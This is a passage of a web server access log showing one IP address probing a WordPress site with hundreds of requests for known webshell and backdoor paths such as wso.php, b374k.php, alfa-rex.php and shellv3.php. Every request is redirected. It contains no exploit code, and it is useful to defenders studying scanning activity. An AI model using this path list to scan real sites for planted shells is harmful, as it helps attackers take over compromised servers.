-0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:00 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:01 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:01 -0400] "GET /.well-known/yrfjzewo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:02 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:02 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:03 -0400] "GET /wp-includes/log403.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:03 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:04 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:04 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:05 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:06 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:06 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:07 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:07 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:09 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:09 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:09 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:10 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:11 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:12 -0400] "GET /wp-includes/images/wlw/libcore.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:13 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:13 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:14 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:15 -0400] "GET /wp-content/uploads/gfwisone.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:15 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:16 -0400] "GET /wp-includes/block-patterns/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:17 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:17 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:18 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:18 -0400] "GET /.tmb/class_api.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:20 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:20 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:21 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:21 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:22 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:22 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:23 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:23 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:24 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:24 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:25 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:25 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:26 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:26 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:27 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:28 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:29 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:29 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:30 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:31 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:32 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:33 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:33 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:34 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:34 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:35 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:35 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:36 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:37 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:37 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:38 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:39 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:39 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:40 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:40 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:41 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:42 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:42 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:42 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:43 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:43 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:44 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:44 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:45 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:45 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:46 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:46 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:47 -0400] "GET /wp-content/uploads/options-writing.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:47 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:48 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:49 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:49 -0400] "GET /wp-admin/css/colors/light/Admin-Author.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:50 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:51 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:51 -0400] "GET /assets/x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:52 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:52 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:53 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:53 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:54 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:54 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:55 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:55 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:56 -0400] "GET /.well-known/upfile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:56 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:57 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:57 -0400] "GET /wp-admin/css/colors/blue/blkdimxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:58 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:53:59 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:00 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:01 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:01 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:02 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:03 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:04 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:05 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:06 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:07 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:08 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:09 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:09 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:11 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:12 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:14 -0400] "GET /wp-content/upgrade/edit-links.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:14 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:16 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:17 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:18 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:18 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:19 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:20 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:21 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:22 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:23 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:23 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:24 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:25 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:26 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:27 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:28 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:29 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:30 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:31 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:31 -0400] "GET /wp-admin/css/colors/ectoplasm/x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:32 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:32 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:33 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:34 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:34 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:36 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:37 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:38 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:39 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:40 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:41 -0400] "GET /ALFA_DATA/alfacgiapi/shell.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:42 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:42 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:43 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:44 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:45 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:45 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:47 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:47 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:49 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:49 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:50 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:50 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:51 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:51 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:52 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:53 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:53 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:54 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:55 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:55 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:56 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:56 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:57 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:58 -0400] "GET /index.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:58 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:59 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:54:59 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:00 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:00 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:01 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:01 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:02 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:03 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:04 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:04 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:05 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:05 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:05 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:07 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:08 -0400] "GET /wp-content/plugins/seoo/ulc2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:10 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:10 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:12 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:13 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:14 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:16 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:17 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:17 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:18 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:19 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:20 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:21 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:23 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:25 -0400] "GET /.well-known/pki-validation/content.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:26 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:28 -0400] "GET /assets/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:30 -0400] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:31 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:32 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:33 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:35 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:35 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:36 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:38 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:39 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:39 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:40 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:40 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:41 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:41 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - 